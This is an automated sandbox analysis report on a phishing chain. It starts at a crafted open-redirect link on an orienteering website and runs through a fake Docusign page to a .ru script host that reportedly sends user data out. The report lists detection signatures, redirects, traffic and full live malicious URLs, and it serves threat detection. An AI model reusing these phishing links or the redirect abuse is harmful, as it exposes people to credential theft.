Edit tour

Windows Analysis Report
https://eventor.orienteering.asn.au/Home/RedirectToLivelox?redirectUrl=https%3A%2F%2Farchive1.diqx8fescpsb0.amplifyapp.com%2Fm1%2Fenvelope%2Fdocument%2Fcontent%2F4086

Overview

General Information

Sample URL:	https://eventor.orienteering.asn.au/Home/RedirectToLivelox?redirectUrl=https%3A%2F%2Farchive1.diqx8fescpsb0.amplifyapp.com%2Fm1%2Fenvelope%2Fdocument%2Fcontent%2F4086
Analysis ID:	1591775
Infos:

Detection

Score:	56
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

AI detected phishing page

AI detected landing page (webpage, office document or email)

AI detected suspicious Javascript

Detected non-DNS traffic on DNS port

Detected suspicious crossdomain redirect

HTML body contains low number of good links

HTML page contains hidden javascript code

HTML title does not match URL

Invalid T&C link found

Classification

Process Tree

System is w10x64

chrome.exe (PID: 4348 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 332 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2396 --field-trial-handle=2236,i,5183248845643234425,14053315998528368914,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 6516 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "https://eventor.orienteering.asn.au/Home/RedirectToLivelox?redirectUrl=https%3A%2F%2Farchive1.diqx8fescpsb0.amplifyapp.com%2Fm1%2Fenvelope%2Fdocument%2Fcontent%2F4086" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Phishing

AI detected phishing page

Source: https://archive1.diqx8fescpsb0.amplifyapp.com/m1/envelope/document/content/4086/

Joe Sandbox AI: Score: 9 Reasons: The brand 'Docusign' is well-known and typically associated with the domain 'docusign.com'., The URL 'archive1.diqx8fescpsb0.amplifyapp.com' does not match the legitimate domain for Docusign., The URL uses a subdomain structure that is not typically associated with Docusign's official services., The domain 'amplifyapp.com' is a generic hosting service, which can be used by various users, increasing the risk of phishing., The presence of a random string 'diqx8fescpsb0' in the URL is suspicious and not typical for a legitimate Docusign URL. DOM: 1.1.pages.csv

AI detected landing page (webpage, office document or email)

Source: https://archive1.diqx8fescpsb0.amplifyapp.com/m1/envelope/document/content/4086/	Joe Sandbox AI: Page contains button: 'Verify your email address' Source: '1.0.pages.csv'
Source: https://archive1.diqx8fescpsb0.amplifyapp.com/m1/envelope/document/content/4086/	Joe Sandbox AI: Page contains button: 'Verify your email address' Source: '1.1.pages.csv'

AI detected suspicious Javascript

Source: 0.2.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://zorx.xemitarnor.ru/U6OnAOL/#Mp8gtut@dwuyn.... This script demonstrates several high-risk behaviors, including detecting the presence of web automation tools, disabling common browser debugging and developer tools, and redirecting the user to a suspicious domain. The combination of these behaviors strongly suggests malicious intent, likely for the purpose of evading detection and potentially carrying out phishing or other malicious activities.
Source: 0.3.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://zorx.xemitarnor.ru/U6OnAOL/#Mp8gtut@dwuyn.... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and suspicious domain interactions. It uses the `fetch` API to send user data to an untrusted domain, and it also attempts to redirect the user to a Microsoft login page, which is likely part of a phishing attempt. The overall behavior of this script is highly suspicious and poses a significant security risk.
Source: 0.1.id.script.csv	Joe Sandbox AI: Detected suspicious JavaScript with source url: https://zorx.xemitarnor.ru/U6OnAOL/#Mp8gtut@dwuyn.... This script exhibits several high-risk behaviors, including dynamic code execution, data exfiltration, and obfuscated code/URLs. The use of `atob()` and `decodeURIComponent()` to decode and execute remote code is a clear indicator of malicious intent. Additionally, the script attempts to prevent common debugging and security measures, such as disabling the context menu and preventing certain keyboard shortcuts. Overall, this script demonstrates a high level of suspiciousness and poses a significant risk to the user's security and privacy.

Source: https://archive1.diqx8fescpsb0.amplifyapp.com/m1/envelope/document/content/4086/	HTTP Parser: Number of links: 0
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638725397134294760.MjFlYWFhNDgtNTM1MC00YmIwLTliZTctYjQxOWNlOTllMDQyMmUwYjcyM2MtYzc2NS00NmIyLWI4MzAtNjFiYTllYTIyNjNj&ui_locales=en-US&mkt=en-US&client-request-id=cc65a6f7-bd06-4ba1-93c4-a2ec0e74fbfa&state=jF9Qrj7GVVzYXiJdzGkPA9wuedZ--oSeWjpFpUrljrNSwq7XaSQc1G9QILhEra3N52jOTm_0KrcP-rJZVUl1ejHOGF7OKpoQWmMa3DRU6ITQhh3refiR5h91d9XKbN2BQcgbax0uBuLLgRc_4u-kZItjNDwF8mGt2su4PiQmRlQzWGOhbWbQA7RkzyYHP7lVOaCy7H4OwbO2keTLJbW2DZjxRmNpoXpXTQx78vwxwJwg86FFdLtbc9EXeLRkVmBhosTBm_h_2Nzky5B9Z8FDAg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	HTTP Parser: Number of links: 0
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638725397134294760.MjFlYWFhNDgtNTM1MC00YmIwLTliZTctYjQxOWNlOTllMDQyMmUwYjcyM2MtYzc2NS00NmIyLWI4MzAtNjFiYTllYTIyNjNj&ui_locales=en-US&mkt=en-US&client-request-id=cc65a6f7-bd06-4ba1-93c4-a2ec0e74fbfa&state=jF9Qrj7GVVzYXiJdzGkPA9wuedZ--oSeWjpFpUrljrNSwq7XaSQc1G9QILhEra3N52jOTm_0KrcP-rJZVUl1ejHOGF7OKpoQWmMa3DRU6ITQhh3refiR5h91d9XKbN2BQcgbax0uBuLLgRc_4u-kZItjNDwF8mGt2su4PiQmRlQzWGOhbWbQA7RkzyYHP7lVOaCy7H4OwbO2keTLJbW2DZjxRmNpoXpXTQx78vwxwJwg86FFdLtbc9EXeLRkVmBhosTBm_h_2Nzky5B9Z8FDAg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: Number of links: 0

Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638725397134294760.MjFlYWFhNDgtNTM1MC00YmIwLTliZTctYjQxOWNlOTllMDQyMmUwYjcyM2MtYzc2NS00NmIyLWI4MzAtNjFiYTllYTIyNjNj&ui_locales=en-US&mkt=en-US&client-request-id=cc65a6f7-bd06-4ba1-93c4-a2ec0e74fbfa&state=jF9Qrj7GVVzYXiJdzGkPA9wuedZ--oSeWjpFpUrljrNSwq7XaSQc1G9QILhEra3N52jOTm_0KrcP-rJZVUl1ejHOGF7OKpoQWmMa3DRU6ITQhh3refiR5h91d9XKbN2BQcgbax0uBuLLgRc_4u-kZItjNDwF8mGt2su4PiQmRlQzWGOhbWbQA7RkzyYHP7lVOaCy7H4OwbO2keTLJbW2DZjxRmNpoXpXTQx78vwxwJwg86FFdLtbc9EXeLRkVmBhosTBm_h_2Nzky5B9Z8FDAg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0

HTTP Parser: Base64 decoded: 21eaaa48-5350-4bb0-9be7-b419ce99e0422e0b723c-c765-46b2-b830-61ba9ea2263c

Source: https://archive1.diqx8fescpsb0.amplifyapp.com/m1/envelope/document/content/4086/	HTTP Parser: Title: Docusign does not match URL
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638725397134294760.MjFlYWFhNDgtNTM1MC00YmIwLTliZTctYjQxOWNlOTllMDQyMmUwYjcyM2MtYzc2NS00NmIyLWI4MzAtNjFiYTllYTIyNjNj&ui_locales=en-US&mkt=en-US&client-request-id=cc65a6f7-bd06-4ba1-93c4-a2ec0e74fbfa&state=jF9Qrj7GVVzYXiJdzGkPA9wuedZ--oSeWjpFpUrljrNSwq7XaSQc1G9QILhEra3N52jOTm_0KrcP-rJZVUl1ejHOGF7OKpoQWmMa3DRU6ITQhh3refiR5h91d9XKbN2BQcgbax0uBuLLgRc_4u-kZItjNDwF8mGt2su4PiQmRlQzWGOhbWbQA7RkzyYHP7lVOaCy7H4OwbO2keTLJbW2DZjxRmNpoXpXTQx78vwxwJwg86FFdLtbc9EXeLRkVmBhosTBm_h_2Nzky5B9Z8FDAg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	HTTP Parser: Title: Redirecting does not match URL
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638725397134294760.MjFlYWFhNDgtNTM1MC00YmIwLTliZTctYjQxOWNlOTllMDQyMmUwYjcyM2MtYzc2NS00NmIyLWI4MzAtNjFiYTllYTIyNjNj&ui_locales=en-US&mkt=en-US&client-request-id=cc65a6f7-bd06-4ba1-93c4-a2ec0e74fbfa&state=jF9Qrj7GVVzYXiJdzGkPA9wuedZ--oSeWjpFpUrljrNSwq7XaSQc1G9QILhEra3N52jOTm_0KrcP-rJZVUl1ejHOGF7OKpoQWmMa3DRU6ITQhh3refiR5h91d9XKbN2BQcgbax0uBuLLgRc_4u-kZItjNDwF8mGt2su4PiQmRlQzWGOhbWbQA7RkzyYHP7lVOaCy7H4OwbO2keTLJbW2DZjxRmNpoXpXTQx78vwxwJwg86FFdLtbc9EXeLRkVmBhosTBm_h_2Nzky5B9Z8FDAg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: Title: Sign in to your account does not match URL

Source: https://archive1.diqx8fescpsb0.amplifyapp.com/m1/envelope/document/content/4086/	HTTP Parser: Invalid link: Terms
Source: https://archive1.diqx8fescpsb0.amplifyapp.com/m1/envelope/document/content/4086/	HTTP Parser: Invalid link: Privacy Policy
Source: https://archive1.diqx8fescpsb0.amplifyapp.com/m1/envelope/document/content/4086/	HTTP Parser: Invalid link: Terms
Source: https://archive1.diqx8fescpsb0.amplifyapp.com/m1/envelope/document/content/4086/	HTTP Parser: Invalid link: Privacy Policy

Source: https://archive1.diqx8fescpsb0.amplifyapp.com/m1/envelope/document/content/4086/	HTTP Parser: Iframe src: https://pub-53c4ef7e378d42c99976378cc91a92e3.r2.dev/iframe-wrapper.html
Source: https://archive1.diqx8fescpsb0.amplifyapp.com/m1/envelope/document/content/4086/	HTTP Parser: Iframe src: https://pub-53c4ef7e378d42c99976378cc91a92e3.r2.dev/iframe-wrapper.html

HTTP Parser: <input type="password" .../> found

Source: https://archive1.diqx8fescpsb0.amplifyapp.com/m1/envelope/document/content/4086/	HTTP Parser: No favicon
Source: https://zorx.xemitarnor.ru/U6OnAOL/#Mp8gtut@dwuyn.io	HTTP Parser: No favicon
Source: https://zorx.xemitarnor.ru/U6OnAOL/#Mp8gtut@dwuyn.io	HTTP Parser: No favicon
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638725397134294760.MjFlYWFhNDgtNTM1MC00YmIwLTliZTctYjQxOWNlOTllMDQyMmUwYjcyM2MtYzc2NS00NmIyLWI4MzAtNjFiYTllYTIyNjNj&ui_locales=en-US&mkt=en-US&client-request-id=cc65a6f7-bd06-4ba1-93c4-a2ec0e74fbfa&state=jF9Qrj7GVVzYXiJdzGkPA9wuedZ--oSeWjpFpUrljrNSwq7XaSQc1G9QILhEra3N52jOTm_0KrcP-rJZVUl1ejHOGF7OKpoQWmMa3DRU6ITQhh3refiR5h91d9XKbN2BQcgbax0uBuLLgRc_4u-kZItjNDwF8mGt2su4PiQmRlQzWGOhbWbQA7RkzyYHP7lVOaCy7H4OwbO2keTLJbW2DZjxRmNpoXpXTQx78vwxwJwg86FFdLtbc9EXeLRkVmBhosTBm_h_2Nzky5B9Z8FDAg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	HTTP Parser: No favicon

Source: https://archive1.diqx8fescpsb0.amplifyapp.com/m1/envelope/document/content/4086/	HTTP Parser: No <meta name="author".. found
Source: https://archive1.diqx8fescpsb0.amplifyapp.com/m1/envelope/document/content/4086/	HTTP Parser: No <meta name="author".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638725397134294760.MjFlYWFhNDgtNTM1MC00YmIwLTliZTctYjQxOWNlOTllMDQyMmUwYjcyM2MtYzc2NS00NmIyLWI4MzAtNjFiYTllYTIyNjNj&ui_locales=en-US&mkt=en-US&client-request-id=cc65a6f7-bd06-4ba1-93c4-a2ec0e74fbfa&state=jF9Qrj7GVVzYXiJdzGkPA9wuedZ--oSeWjpFpUrljrNSwq7XaSQc1G9QILhEra3N52jOTm_0KrcP-rJZVUl1ejHOGF7OKpoQWmMa3DRU6ITQhh3refiR5h91d9XKbN2BQcgbax0uBuLLgRc_4u-kZItjNDwF8mGt2su4PiQmRlQzWGOhbWbQA7RkzyYHP7lVOaCy7H4OwbO2keTLJbW2DZjxRmNpoXpXTQx78vwxwJwg86FFdLtbc9EXeLRkVmBhosTBm_h_2Nzky5B9Z8FDAg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	HTTP Parser: No <meta name="author".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638725397134294760.MjFlYWFhNDgtNTM1MC00YmIwLTliZTctYjQxOWNlOTllMDQyMmUwYjcyM2MtYzc2NS00NmIyLWI4MzAtNjFiYTllYTIyNjNj&ui_locales=en-US&mkt=en-US&client-request-id=cc65a6f7-bd06-4ba1-93c4-a2ec0e74fbfa&state=jF9Qrj7GVVzYXiJdzGkPA9wuedZ--oSeWjpFpUrljrNSwq7XaSQc1G9QILhEra3N52jOTm_0KrcP-rJZVUl1ejHOGF7OKpoQWmMa3DRU6ITQhh3refiR5h91d9XKbN2BQcgbax0uBuLLgRc_4u-kZItjNDwF8mGt2su4PiQmRlQzWGOhbWbQA7RkzyYHP7lVOaCy7H4OwbO2keTLJbW2DZjxRmNpoXpXTQx78vwxwJwg86FFdLtbc9EXeLRkVmBhosTBm_h_2Nzky5B9Z8FDAg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638725397134294760.MjFlYWFhNDgtNTM1MC00YmIwLTliZTctYjQxOWNlOTllMDQyMmUwYjcyM2MtYzc2NS00NmIyLWI4MzAtNjFiYTllYTIyNjNj&ui_locales=en-US&mkt=en-US&client-request-id=cc65a6f7-bd06-4ba1-93c4-a2ec0e74fbfa&state=jF9Qrj7GVVzYXiJdzGkPA9wuedZ--oSeWjpFpUrljrNSwq7XaSQc1G9QILhEra3N52jOTm_0KrcP-rJZVUl1ejHOGF7OKpoQWmMa3DRU6ITQhh3refiR5h91d9XKbN2BQcgbax0uBuLLgRc_4u-kZItjNDwF8mGt2su4PiQmRlQzWGOhbWbQA7RkzyYHP7lVOaCy7H4OwbO2keTLJbW2DZjxRmNpoXpXTQx78vwxwJwg86FFdLtbc9EXeLRkVmBhosTBm_h_2Nzky5B9Z8FDAg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="author".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638725397134294760.MjFlYWFhNDgtNTM1MC00YmIwLTliZTctYjQxOWNlOTllMDQyMmUwYjcyM2MtYzc2NS00NmIyLWI4MzAtNjFiYTllYTIyNjNj&ui_locales=en-US&mkt=en-US&client-request-id=cc65a6f7-bd06-4ba1-93c4-a2ec0e74fbfa&state=jF9Qrj7GVVzYXiJdzGkPA9wuedZ--oSeWjpFpUrljrNSwq7XaSQc1G9QILhEra3N52jOTm_0KrcP-rJZVUl1ejHOGF7OKpoQWmMa3DRU6ITQhh3refiR5h91d9XKbN2BQcgbax0uBuLLgRc_4u-kZItjNDwF8mGt2su4PiQmRlQzWGOhbWbQA7RkzyYHP7lVOaCy7H4OwbO2keTLJbW2DZjxRmNpoXpXTQx78vwxwJwg86FFdLtbc9EXeLRkVmBhosTBm_h_2Nzky5B9Z8FDAg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="author".. found

Source: https://archive1.diqx8fescpsb0.amplifyapp.com/m1/envelope/document/content/4086/	HTTP Parser: No <meta name="copyright".. found
Source: https://archive1.diqx8fescpsb0.amplifyapp.com/m1/envelope/document/content/4086/	HTTP Parser: No <meta name="copyright".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638725397134294760.MjFlYWFhNDgtNTM1MC00YmIwLTliZTctYjQxOWNlOTllMDQyMmUwYjcyM2MtYzc2NS00NmIyLWI4MzAtNjFiYTllYTIyNjNj&ui_locales=en-US&mkt=en-US&client-request-id=cc65a6f7-bd06-4ba1-93c4-a2ec0e74fbfa&state=jF9Qrj7GVVzYXiJdzGkPA9wuedZ--oSeWjpFpUrljrNSwq7XaSQc1G9QILhEra3N52jOTm_0KrcP-rJZVUl1ejHOGF7OKpoQWmMa3DRU6ITQhh3refiR5h91d9XKbN2BQcgbax0uBuLLgRc_4u-kZItjNDwF8mGt2su4PiQmRlQzWGOhbWbQA7RkzyYHP7lVOaCy7H4OwbO2keTLJbW2DZjxRmNpoXpXTQx78vwxwJwg86FFdLtbc9EXeLRkVmBhosTBm_h_2Nzky5B9Z8FDAg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0	HTTP Parser: No <meta name="copyright".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638725397134294760.MjFlYWFhNDgtNTM1MC00YmIwLTliZTctYjQxOWNlOTllMDQyMmUwYjcyM2MtYzc2NS00NmIyLWI4MzAtNjFiYTllYTIyNjNj&ui_locales=en-US&mkt=en-US&client-request-id=cc65a6f7-bd06-4ba1-93c4-a2ec0e74fbfa&state=jF9Qrj7GVVzYXiJdzGkPA9wuedZ--oSeWjpFpUrljrNSwq7XaSQc1G9QILhEra3N52jOTm_0KrcP-rJZVUl1ejHOGF7OKpoQWmMa3DRU6ITQhh3refiR5h91d9XKbN2BQcgbax0uBuLLgRc_4u-kZItjNDwF8mGt2su4PiQmRlQzWGOhbWbQA7RkzyYHP7lVOaCy7H4OwbO2keTLJbW2DZjxRmNpoXpXTQx78vwxwJwg86FFdLtbc9EXeLRkVmBhosTBm_h_2Nzky5B9Z8FDAg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638725397134294760.MjFlYWFhNDgtNTM1MC00YmIwLTliZTctYjQxOWNlOTllMDQyMmUwYjcyM2MtYzc2NS00NmIyLWI4MzAtNjFiYTllYTIyNjNj&ui_locales=en-US&mkt=en-US&client-request-id=cc65a6f7-bd06-4ba1-93c4-a2ec0e74fbfa&state=jF9Qrj7GVVzYXiJdzGkPA9wuedZ--oSeWjpFpUrljrNSwq7XaSQc1G9QILhEra3N52jOTm_0KrcP-rJZVUl1ejHOGF7OKpoQWmMa3DRU6ITQhh3refiR5h91d9XKbN2BQcgbax0uBuLLgRc_4u-kZItjNDwF8mGt2su4PiQmRlQzWGOhbWbQA7RkzyYHP7lVOaCy7H4OwbO2keTLJbW2DZjxRmNpoXpXTQx78vwxwJwg86FFdLtbc9EXeLRkVmBhosTBm_h_2Nzky5B9Z8FDAg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="copyright".. found
Source: https://login.microsoftonline.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638725397134294760.MjFlYWFhNDgtNTM1MC00YmIwLTliZTctYjQxOWNlOTllMDQyMmUwYjcyM2MtYzc2NS00NmIyLWI4MzAtNjFiYTllYTIyNjNj&ui_locales=en-US&mkt=en-US&client-request-id=cc65a6f7-bd06-4ba1-93c4-a2ec0e74fbfa&state=jF9Qrj7GVVzYXiJdzGkPA9wuedZ--oSeWjpFpUrljrNSwq7XaSQc1G9QILhEra3N52jOTm_0KrcP-rJZVUl1ejHOGF7OKpoQWmMa3DRU6ITQhh3refiR5h91d9XKbN2BQcgbax0uBuLLgRc_4u-kZItjNDwF8mGt2su4PiQmRlQzWGOhbWbQA7RkzyYHP7lVOaCy7H4OwbO2keTLJbW2DZjxRmNpoXpXTQx78vwxwJwg86FFdLtbc9EXeLRkVmBhosTBm_h_2Nzky5B9Z8FDAg&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true	HTTP Parser: No <meta name="copyright".. found

Source: global traffic

TCP traffic: 192.168.2.4:49899 -> 1.1.1.1:53

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: eventor.orienteering.asn.au to https://www.livelox.com?redirecturl=https%3a%2f%2farchive1.diqx8fescpsb0.amplifyapp.com%2fm1%2fenvelope%2fdocument%2fcontent%2f4086
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	HTTP traffic: Redirect from: mguy-auth-protected-endpoint.d874c7c1f8062afc4f2fd153.workers.dev to https://zorx.xemitarnor.ru/u6onaol/#mp8gtut@dwuyn.io

Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	TCP traffic detected without corresponding DNS query: 199.232.214.172
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /Home/RedirectToLivelox?redirectUrl=https%3A%2F%2Farchive1.diqx8fescpsb0.amplifyapp.com%2Fm1%2Fenvelope%2Fdocument%2Fcontent%2F4086 HTTP/1.1Host: eventor.orienteering.asn.auConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: noneSec-Fetch-Mode: navigateSec-Fetch-User: ?1Sec-Fetch-Dest: documentAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
